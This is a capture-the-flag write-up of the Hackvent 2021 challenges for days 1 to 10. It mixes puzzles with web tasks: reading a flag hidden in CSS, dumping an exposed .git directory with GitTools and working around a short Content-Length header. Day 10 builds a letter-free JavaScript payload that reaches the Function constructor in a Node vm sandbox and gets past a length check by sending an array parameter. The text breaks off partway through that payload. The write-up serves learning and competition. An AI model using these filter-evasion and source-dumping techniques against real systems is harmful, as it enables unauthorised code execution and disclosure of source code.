Hackvent 2021 is over!
Once again, this year’s Hackvent was terrific – even though it was uncertain until the start whether it would take place at all. Eventually, the event was a traditional, full-blown Hackvent! Thanks to all challenge contributors who made this possible. I especially loved both Blockchain challenges, the binary exploitation on day 14, and the reverse engineering challenge on day 22. Less pleasant was the fact that some challenges were very resource-intensive this year. Some challenges took several hours of computing time on my laptop.
This year I did manage to complete all the challenges. Unfortunately, not all of them within 24 hours to get the total score. I submitted the flag for three challenges late (day 10, 17, and 19). And like every year, I liked the discussions around the CTF very much. Shouts to ice, jokker, ludus, DrSchottky, and all other participants.
[HV21.01] X-wORd Puzzle
Introduction
It seems the elves have sent us a message via a newspaper crossword puzzle. Can you solve it to find out what they want to tell us?
Instructions
- Fill in the puzzle in all capital letters
- The initial letters of each word are the solution – in order the same order the questions are asked:
- horizontal words: top to bottom
- vertical words: left to right
Horizontal
- A diagram of arrows not allowing cycles
- A handbag for carrying around money
- Very, very secure
- Golf: number of strokes required
- Congo between 1971 and 1997
- State of appearing everywhere
- Tuples in everyday language
- Makes you laugh or silences you
Vertical
- Plea by many doctors right now
- Put in parcels
- Lets you change user
- …-test
- How you should transmit your data
- Need to squash them – fix your code!
- Attributed to a marquis – no pain, no gain.
- Doing something in a way that causes fatigue is doing it…
- A drink you may need after finishing this puzzle.
Hints
- the words are in order (ltr & ttb): first hint is for the top left horizontal word
- number means number of chars in word
- check the title – do you need all the letters?
- we know how to hide gridlines
- what seems redundant really isn’t – it’s the key you seek
Solution
With Google and the instructions it was more or less straight forward to find most of the needed words.
It was unclear how to generate the flag in the end, tough. According to the hint in the picture (XOR sign) the challenge category (crypto) and the title (XOR) it became abvious at some point that a XOR operation had to be computed. After some guessing I’ve found out that the initial letter of each word had to be xored with the character-length of the word. The number needs to be interpreted in ASCII, not as number.
I created an additional Excel file to help me solve this challenge.
Flag
HV{welcometohackvent}
[HV21.02] No source, No luck!
Thanks!
This challenge is brought to you by explo1t. There were no elves harmed during its creation.
Introduction
Now they’re just trolling you, aren’t they? They said there would be a flag, but now they’re not even talking to us for real, just shoving us along 😤 No manners, they got!
Solution
If we visit the website we get “rick-rolled” by being redirected to this youtube-video. Analyzing the link with curl led straight to the flag:
$ curl 2022e71f-12f7-4d18-8b0c-51b42d14d349.idocker.vuln.land-v -L
We can see that the file style.css is loaded. Let’s look closer at the CSS file:
$ curl 2022e71f-12f7-4d18-8b0c-51b42d14d349.idocker.vuln.land/style.css -v -L
The flag is just there in the “body::after” element.
Flag
HV21{h1dd3n_1n_css}
[HV21.03] Too Much GlItTer!
Thanks!
This challenge is brought to you by HaCk0. The reindeer helped!
Introduction
To celebrate Christmas even more the elves have setup a small website to help promote christmas on the internet. It is currently under heavy development but they wanted to show it off anyhow.
Unfortunately they made a pretty silly error which threatens the future of their project.
Goal
Can you help them find the vulnerability and retrieve the flag?
Solution
When we open the URL this website is presented to us:
According to the challenge title it was very clear to me that this challenge has something to do with GIT. Consequently, I tried to browse to the .git directory. And voila:
The next steps are very straight forward. I used GitTools to download all commits and branches of the repository and looked for the flag with grep.
$ ./Dumper/gitdumper.sh 87bb6e71-a303-4ea8-9a9c-90de760d0c97.idocker.vuln.land/.git/ git
$ ./Extractor/extractor.sh git/ extr/
$ grep -Rnsi "HV{" extr/ extr/1-b009ea9155d990aa9185e1157aaf583a636e93fd/flag.html:63: <span style="font-size: 12pt !important;">Here is the flag: HV{n3V3r_Sh0w_Y0uR_.git}</span>
Flag
HV{n3V3r_Sh0w_Y0uR_.git}
[HV21.04] Christmas in Babylon
Thanks!
This challenge is brought to you by 2d3. They understand all the elves!
Introduction
Something weird happened to the elves, suddenly when one says something, there’s a number of the others required to translate what they mean. It only becomes clear in the end.
Goal
Can you help Santa understand what they’re saying?
Solution
Step 1 – C# – Decode with Python:
import base64 ''' using System; using System.Text; using static System.Console; void Rev(string s){ var chars=Encoding.ASCII.GetString(Convert.FromBase64String(s)).ToCharArray(); Array.Reverse(chars);WriteLine(new string(chars)); }''' def Rev(inp): decoded = base64.b64decode(inp).decode('utf-8') print(decoded[::-1]) Rev("KzgrKitoKysrKysreysrKysraSsvPiswK3krKz4oKysrKysrICsrPlQrKysrKysrKyt9KysrPlsrVCsrK3grKysr"); Rev("K2srICsrKysyKyt9KysrKysrPisrKytVKysrKysrKysrPisrNSsrKysrK3wrKysrNT4rKysrRCs2KytyKysqKz4r"); Rev("K0MrKysrKysrMj4rKytqKyArKysrKytMKysrICsrbys+KysrKysrKysrKys+KysgKytNKysraStQKysrditxKys+"); ...
Step 2 – Running the Python-scripts results in Brainfuck-Code. We can run this code on the website https://copy.sh/brainfuck/.
Step 3 – The Brainfuck code returns a Bash-script.
$ ./code.sh > code.c
Step 4 – The next output is a Python script and a C code at the same time. The Python code wants a password. Let’s try with C first:
$ gcc -o code code.c $ ./code C+Python=Cython?
Step 5 – We use the output from the compiled C program as input for the Python script. (This took me a while to guess)
$ python3 code.c > code.php C+Python=Cython?
Step 6 – The output of the python script is a PHP file
$ php code.php > code.js
Step 7 – The last file we got is a JavaScript file – although it is not readable at all (jsfuck.com). We can execute it in https://jsfiddle.net and get the flag.
Flag
HV21{-T00-many-weird-L4NGU4GE5-}
[HV21.05] X-Mas Jumper
Thanks!
This challenge is brought to you by monkey. Tight knitting!
Introduction
The elves have been getting into the festive spirit by making Christmas jumpers for themselves to wear in the workshop. They made one for Santa too, but it looks like they didn’t program the knitting machine correctly.
Goal
Can you untangle this mess and find the pattern they were trying to make?
Solution
I manually wrote down the pattern as follows: white -> 0, red -> 1. I ignored the two rows on each side. This results in this binary pattern:
111001111110011100101111111000000000001000010010 000100100100100100000000000100001001000010010010 010010011000110011111100100001010000001000010010 100101000010001001000100000100001001010010100001 000100100010000010000100101001010000100001100001 000001000010010100111100111000100000010001110000 110001100000000000000000000000000000000000000000 000011100110011100000000000111000000000000100010 010001000000000001000000000000010010000001001101 110110100000000000001110000011000010010010010000 000000000100100000010001001001001000000000000010 010000001001001001001000000000000001001000100010 001101100010000111111001110011001110000010100011 111100000000000000000000000000000000000000000000 001111111001111001111100000000000000000010000101 000010010001000000000000000001111000100011001000 010000000000000000100100010010100100001000000000 000000010000001010010010001000000000000000001000 000110001001111000000000000000000100000010000100 100010000000011111100111000000111100110001001111 110000000000000000000000000000011000000110000110 000000011100000000000010010001000010000000000100 000000000011100100100001001000100010000000111001 110010001000101100110001000000100010111000100011 110010001000100000011111001000100000001001000100 010000001000000100010000001000100010001000010100 010000001001111000001110101111110001110001001000
In a next step I replaced the 1 with a black unicode block and the 0 with a white unicode block.
⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬛⬜⬛⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬛⬜⬜⬜⬛⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬛⬜⬛⬛⬛⬜⬛⬛⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬛⬜⬛⬛⬜⬜⬜⬛⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬜⬛⬜⬜⬜⬛⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬛⬜⬜⬛⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬜⬜⬛⬛⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬛⬛⬜⬜⬛⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬛⬛⬛⬜⬜⬜⬛⬜⬜⬜⬛⬛⬛⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬛⬜⬛⬜⬜⬜⬛⬜⬜⬜⬜⬜⬜⬛⬜⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬛⬛⬛⬜⬛⬜⬛⬛⬛⬛⬛⬛⬜⬜⬜⬛⬛⬛⬜⬜⬜⬛⬜⬜⬛⬜⬜⬜
If we open this in a text editor and resize it accordingly we can read the flag.
Flag
HV{Too_K3wL_F0R_YuLe!}
[HV21.06] Snow Cube
Thanks!
This challenge is brought to you by Dr Nick. Stay out of blizzards!
Introduction
The ester bunny sent a gift to Santa – what is usually a crystal sphere seemed a bit too boring, so it’s a cube!
The snow seems to be falling somewhat strangely, is it possible that there’s a message hidden somewhere?
Resources
Please don’t stop the container when you’re done: everyone is using the same instance. If you stop it, others will have to restart it. And please don’t be a *@#!%
. Everyone can write a script to stop the instance, but all that would do is take the fun away from others!
Solution
I copied the source code to debug it with https://jsfiddle.net.
In the beginning of the code we can spot that there is another calculation for alpha if “s” is set to true:
const canvas = document.getElementById("canvasSwonCube"); const context = canvas.getContext("2d"); let alpha = 0; let beta = 0; let s = false; let a = canvas.width; canvas.addEventListener('keydown', e => s = (e.key === 's')); canvas.addEventListener('keyup', e => s = false); canvas.addEventListener('mousemove', e => { var rect = e.target.getBoundingClientRect(); alpha = s?((e.clientX-rect.left-a/2)*7/a):Math.sin(((e.clientX-rect.left-a/2)*7/a)); beta = Math.sin(((e.clientY-rect.top-a/2)*7/a)); });
Let’s change “s” to true and observe the snowman in the output window of JSFiddle. If we change the view and let the snowman look to the right side, we can observe characters coming down in the snow.
By collecting all the characters (this was not too easy!) we get the flag.
Flag
HV21{M3SSAGE_OUT_OF_FLAKES}
[HV21.07] Grinch’s Portscan
Thanks!
This challenge is brought to you by wangibangi. Watch your port(e)s around x-mas!
Introduction
The elves port-scanned grinch’s server and noticed something strange.
Goal
There’s a secret message hidden in the packet capture, can you find it?
Solution
After fiddling around for a bit in Wireshark I could find the flag. It is encoded in the ports which are requested, the ones where the server replies are valid characters. I used the following filter to get all matching packets:
"ip.src == 172.16.66.10 and tcp.len > 0":
Flag
HV21{c0nfuse_Portsc4nn3rs}
[HV21.08] Flag Service
Thanks!
This challenge is brought to you by nichtseb and logical overflow. Keep away from the white flags (never give up)!
Introduction
Santa has setup a web service for you to receive your flag for today. Unfortunately, the flag doesn’t seem to reach you.
Resources
Please don’t stop the container when you’re done: everyone is using the same instance. If you stop it, others will have to restart it. And please don’t be a *@#!%
. Anyyone can write a script to stop the instance again and again, but all that would do is take the fun away from others!
Solution
This webserver returns a wrong (too short) content-length header. Browsers and other clients like curl only download the amount of bytes specified in this header. We see that the response from the server is too short (cut), because the HTML code is not correctly terminated.
$ curl 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&display=swap" rel="stylesheet"> <style> body{font-family: 'IBM Plex Mono', monospace;height: 100vh !important;background-image: url("https://source.unsplash.com/random");-webkit-background-size: cover;-moz-background-size: cover;-o-background-size: cover;background-size: cover;background-color:#131627;color:#fff;overflow:hidden;} ::selection{background-color:rgba(0, 0, 0, 0);} #flex-wrapper{position:absolute;top:0;bottom:0;right:0;left:0;-ms-flex-direction:row;-ms-flex-align:center;display:-webkit-flex;display:flex}#container{margin:auto; z-index: 10; padding:25px;}#container *{margin:0}h1{text-align:center;font-size:60px;color:#131627;text-shadow:0 0 5px #fff;opacity:0;-webkit-animation:fade-in 3s ease-in 0s forwards;-moz-animation:fade-in 3s ease-in 0s forwards;-o-animation:fade-in 3s ease-in 0s forwards;animation:fade-in 3s ease-in 0s forwards}h2{font-size:50px;text-shadow:0 0 5px orange;text-align:center;opacity:0;-webkit-animation:fade-in 3s ease-in .5s forwards;-moz-animation:fade-in 3s ease-in .5s forwards;-o-animation:fade-in 3s ease-in .5s forwards;animation:fade-in 3s ease-in .5s forwards}@-webkit-keyframes fade-in{from{opacity:0}to{opacity:1}}@-moz-keyframes fade-in{from{opacity:0}to{opacity:1}}@-o-keyframes fade-in{from{opacity:0}to{opacity:1}}@keyframes fade-in{from{opacity:0}to{opacity:1}} </style> <title>Flag Service</title> </head> <body> <div id="flex-wrapper"> <div id="container"> <h1>Thanks for using the Flag service.<br/> Your Flag is:</h1> <h2>
Fortunately, curl has a flag to ignore the content-length. This way we can get the whole website and read the flag.
$ curl 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land -v --ignore-content-length * Trying 152.96.7.2:80... * TCP_NODELAY set * Connected to 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land (152.96.7.2) port 80 (#0) > GET / HTTP/1.1 > Host: 6cd40b58-94d6-48b7-ba97-5ee13727a051.rdocker.vuln.land > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Connection: close < Content-Type: text/html < Content-Length: 1878 < <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&display=swap" rel="stylesheet"> <style> body{font-family: 'IBM Plex Mono', monospace;height: 100vh !important;background-image: url("https://source.unsplash.com/random");-webkit-background-size: cover;-moz-background-size: cover;-o-background-size: cover;background-size: cover;background-color:#131627;color:#fff;overflow:hidden;} ::selection{background-color:rgba(0, 0, 0, 0);} #flex-wrapper{position:absolute;top:0;bottom:0;right:0;left:0;-ms-flex-direction:row;-ms-flex-align:center;display:-webkit-flex;display:flex}#container{margin:auto; z-index: 10; padding:25px;}#container *{margin:0}h1{text-align:center;font-size:60px;color:#131627;text-shadow:0 0 5px #fff;opacity:0;-webkit-animation:fade-in 3s ease-in 0s forwards;-moz-animation:fade-in 3s ease-in 0s forwards;-o-animation:fade-in 3s ease-in 0s forwards;animation:fade-in 3s ease-in 0s forwards}h2{font-size:50px;text-shadow:0 0 5px orange;text-align:center;opacity:0;-webkit-animation:fade-in 3s ease-in .5s forwards;-moz-animation:fade-in 3s ease-in .5s forwards;-o-animation:fade-in 3s ease-in .5s forwards;animation:fade-in 3s ease-in .5s forwards}@-webkit-keyframes fade-in{from{opacity:0}to{opacity:1}}@-moz-keyframes fade-in{from{opacity:0}to{opacity:1}}@-o-keyframes fade-in{from{opacity:0}to{opacity:1}}@keyframes fade-in{from{opacity:0}to{opacity:1}} </style> <title>Flag Service</title> </head> <body> <div id="flex-wrapper"> <div id="container"> <h1>Thanks for using the Flag service.<br/> Your Flag is:</h1> <h2>HV21{4lw4y5_c0un7_y0ur53lf_d0n7_7ru57_7h3_53rv3r}</h2> </div> </div> </div> </body> </html> * Closing connection 0
Flag
HV21{4lw4y5_c0un7_y0ur53lf_d0n7_7ru57_7h3_53rv3r}
[HV21.09] Brother Santa
Thanks!
This challenge is brought to you by brp64. Amen!
Introduction
Ever security minded, Santa is. So switched to a prime encoding system he has, after contemplating for long.
Goal
Peace and prosperity – and, you know… the flag
Solution
Step 1: On the image we see cistercian numbers. We can decode them with the website https://www.dcode.fr/cistercian-numbers. The result is:
2314 6344 6333 4675 2268 3533 763 5940 1707 7377 4022 4870 7382 6109 385 4221
Step 2: We convert all the numbers into the binary representation and add leading zeros to all numbers which have less than 13 binary-digits. This second step took hours to guess.
0100100001010 1100011001000 1100010111101 1001001000011 0100011011100 0110111001101 0001011111011 1011100110100 0011010101011 1110011010001 0111110110110 1001100000110 1110011010110 1011111011101 0000110000001 1000001111101
Step 3: We convert this numbers to their ASCII representation and get the flag. This can be automatically done with cyber-chef.
Flag
HV21{$4n74_w45_4_m0nk_t00}
[HV21.10] Christmas Trophy
Thanks!
This challenge is brought to you by ice. Hole in one!
Introduction
The elves thought Santa should relax a bit, so they’re inviting him to a round of golf. But the organizers must have understood, when they get there, what they get is keyboards instead of clubs!
Goal
Write JS code that prints Hackvent
without using characters from a-z
, A-Z
, \
, :
or _
. The code should be at most 400 characters.
const express = require('express'); const path = require('path'); const vm = require('vm'); const hbs = require('hbs'); const app = express(); const flag = require('./flag'); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'hbs'); app.get('/', function (req, res) { let output = ''; const code = req.query.code; if (code && code.length < 400 && /^[^a-zA-Z\\\:\_]*$/.test(code)) { try { const result = new vm.Script(code).runInNewContext(undefined, {timeout: 500}); if (result === 'Hackvent') { output = flag; } else { output = "Bad result: " + result; } } catch (e) { console.log(e); output = 'Exception :('; } } else { output = "Bad code"; } res.render('index', {output}); }); app.get('/source', function (req, res) { res.sendFile(path.join(__dirname, 'app.js')); }); module.exports = app;
Solution
I had a lot of trouble solving this challenge. This was one of the challenges which I didn’t solve within 24 hours.
I only solved the challenge because there is a (unintended) bug in the page, which allows to submit payloads longer than 400 characters. When submitting the code you can change the parameter from “code=” to “code[]=”. This results in the code variable becoming an array with one item and passing the size-check in the if clause – even if the code is longer than 400 characters.
To create my solution I used the online NodeJS debugger https://replit.com/languages/nodejs and I did run the application locally myself. I first elaborated a script which prints “Hackvent” and respects all the limitations except the length. To get the characters “S”, “g”, “m” and “C” I created the following loop which returns the string.
"0logwarndirtimetimeEndtimeLogtraceassertclearcountcountResetgroupgroupEndtabledebuginfodirxmlerrorgroupCollapsedConsoleprofileprofileEndtimeStampcontext"
i = 0; for (x in console) { i += x; }
I assign a variable to the loop to reference it later and get all missing characters. The script which prints “Hackvent” looks like this:
let c = ({} + "")[5]; let o = ({} + "")[1]; let n = ({}[1] + "")[1]; let s = (("."=="")+"")[3]; let t = ((""=="")+"")[0]; let r = ((""=="")+"")[1]; let u = ((""=="")+"")[2]; let e = ((""=="")+"")[3]; let l = (("."=="")+"")[2]; let f = ({}[1] + "")[4]; let i = ({}[1] + "")[5]; let a = (("." - 1)+"")[1]; let d = ({}[1] + "")[2]; let _constructor = c + o + n + s + t + r + u + c + t + o + r; let _return = r + e + t + u + r + n; let _console = c + o + n + s + o + l + e; let _flat = f+l+a+t; let _find = f+i+n+d; let _for = f + o + r; let _in = i + n; let _loop = "(ä = '');" + _for + "(ö " + _in + " " + _console + ") {( ä += ö )}" + _return + " ä" let res = [][_find][_constructor](_loop)() console.log(res) let _String = res[139]+t+r+i+n+res[2] let _toString = t+o+_String let h = (+(1+[0]+[1]))[_toString](2+[1])[1] let _fromcharcode = f+r+o+res[12]+res[102]+h+a+r+res[102]+o+d+e console.log(_fromcharcode) let solution = [][_flat][_constructor](_return + " " + _String +"."+_fromcharcode+"(72,97,99,107,118,101,110,116)")() console.log(solution)
Now, we need to create the final payload which we can send to the server.
let c = "({} + '')[5]" let o = "({} + '')[1]" let n = "({}[1] + '')[1]" let s = "(('.'=='')+'')[3]" let t = "((''=='')+'')[0]" let r = "((''=='')+'')[1]" let u = "((''=='')+'')[2]" let e = "((''=='')+'')[3]" let l = "(('.'=='')+'')[2]" let f = "({}[1] + '')[4]" let i = "({}[1] + '')[5]" let a = "(('.' - 1)+'')[1]" let d = "({}[1] + '')[2]" let _constructor = c + "+" + o + "+"+n + "+" + s + "+" + t + "+" + r + "+" + u + "+" + c + "+" + t + "+" + o + "+" + r let _return = r + "+" + e + "+" + t + "+" + u + "+" + r + "+" + n let _console = c + "+" + o + "+" + n + "+" + s + "+" + o + "+" + l + "+" + e let _flat = f+ "+" +l+ "+" +a+ "+" +t let _find = f+ "+" +i+ "+" +n+ "+" +d let _for = f + "+" + o + "+" + r let _in = i + "+" + n let _loop = "\"(ä = '');\"+" + _for + "+\"(ö \"+" + _in + "+\" \"+" + _console + "+\"){ ä += ö }\"+" + _return + "+\" ä;\"" let res = "[]["+_find+"]["+_constructor+"]("+_loop+")()" console.log("[]["+_find+"]["+_constructor+"]("+"XXXXX)()") console.log("Loop:") console.log(_loop) console.log("######") console.log("[]["+_find+"]["+_constructor+"]("+_loop+")()") $=[][({}[1]+'')[4]+({}[1]+'')[5]+({}[1]+'')[1]+({}[1]+'')[2]][({}+'')[5]+({}+'')[1]+({}[1]+'')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({}+'')[5]+((''=='')+'')[0]+({}+'')[1]+((''=='')+'')[1]]('(ä=0);'+({}[1]+'')[4]+({}+'')[1]+((''=='')+'')[1]+'(ö '+({}[1]+'')[5]+({}[1] + '')[1]+' '+({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+({} + '')[1]+(('.'=='')+'')[2]+((''=='')+'')[3]+'){ä+=ö}'+((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+' ä;')(); console.log("-----> " + $[157]) console.log("------------") let _String = "$[157]+"+ t + "+" + r + "+" + i + "+" + n + "+" + "$[5]" let _toString = t + "+" + o + "+" + _String let h = "(+(1+[0]+[1]))[" + _toString +"](2+[1])[1]" console.log(_String) console.log(_toString) console.log(h) let _fromcharcode = f+ "+" +r+ "+" +o+ "+$[29]+$[51]+"+h+"+" +a+ "+" +r+ "+$[51]+ "+o+ "+" +d+ "+" +e console.log("From-CharCode:") console.log(_fromcharcode) console.log("------------") let _sol = _return + "+\" \"+" +_String + "+\".\"+" +_fromcharcode +"+\"(72,97,99,107,118,101,110,116)\"" let _solution ="[]["+_find+"]["+_constructor+"]("+_sol+")()" console.log("Solution:") console.log("$=[][({}[1]+'')[4]+({}[1]+'')[5]+({}[1]+'')[1]+({}[1]+'')[2]][({}+'')[5]+({}+'')[1]+({}[1]+'')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({}+'')[5]+((''=='')+'')[0]+({}+'')[1]+((''=='')+'')[1]]('(ä=0);'+({}[1]+'')[4]+({}+'')[1]+((''=='')+'')[1]+'(ö '+({}[1]+'')[5]+({}[1] + '')[1]+' '+({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+({} + '')[1]+(('.'=='')+'')[2]+((''=='')+'')[3]+'){ä+=ö}'+((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+' ä;')();") console.log(_solution) console.log("------------")
Among many debug messages this script prints the payload which we can send to the server. The length of the payload is 1285 characters though, therefore we need to circumvent the length check as described in the beginning.
$=[][({}[1]+'')[4]+({}[1]+'')[5]+({}[1]+'')[1]+({}[1]+'')[2]][({}+'')[5]+({}+'')[1]+({}[1]+'')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({}+'')[5]+((''=='')+'')[0]+({}+'')[1]+((''=='')+'')[1]]('(ä=0);'+({}[1]+'')[4]+({}+'')[1]+((''=='')+'')[1]+'(ö '+({}[1]+'')[5]+({}[1] + '')[1]+' '+({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+({} + '')[1]+(('.'=='')+'')[2]+((''=='')+'')[3]+'){ä+=ö}'+((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+' ä;')(); [][({}[1] + '')[4]+({}[1] + '')[5]+({}[1] + '')[1]+({}[1] + '')[2]][({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({} + '')[5]+((''=='')+'')[0]+({} + 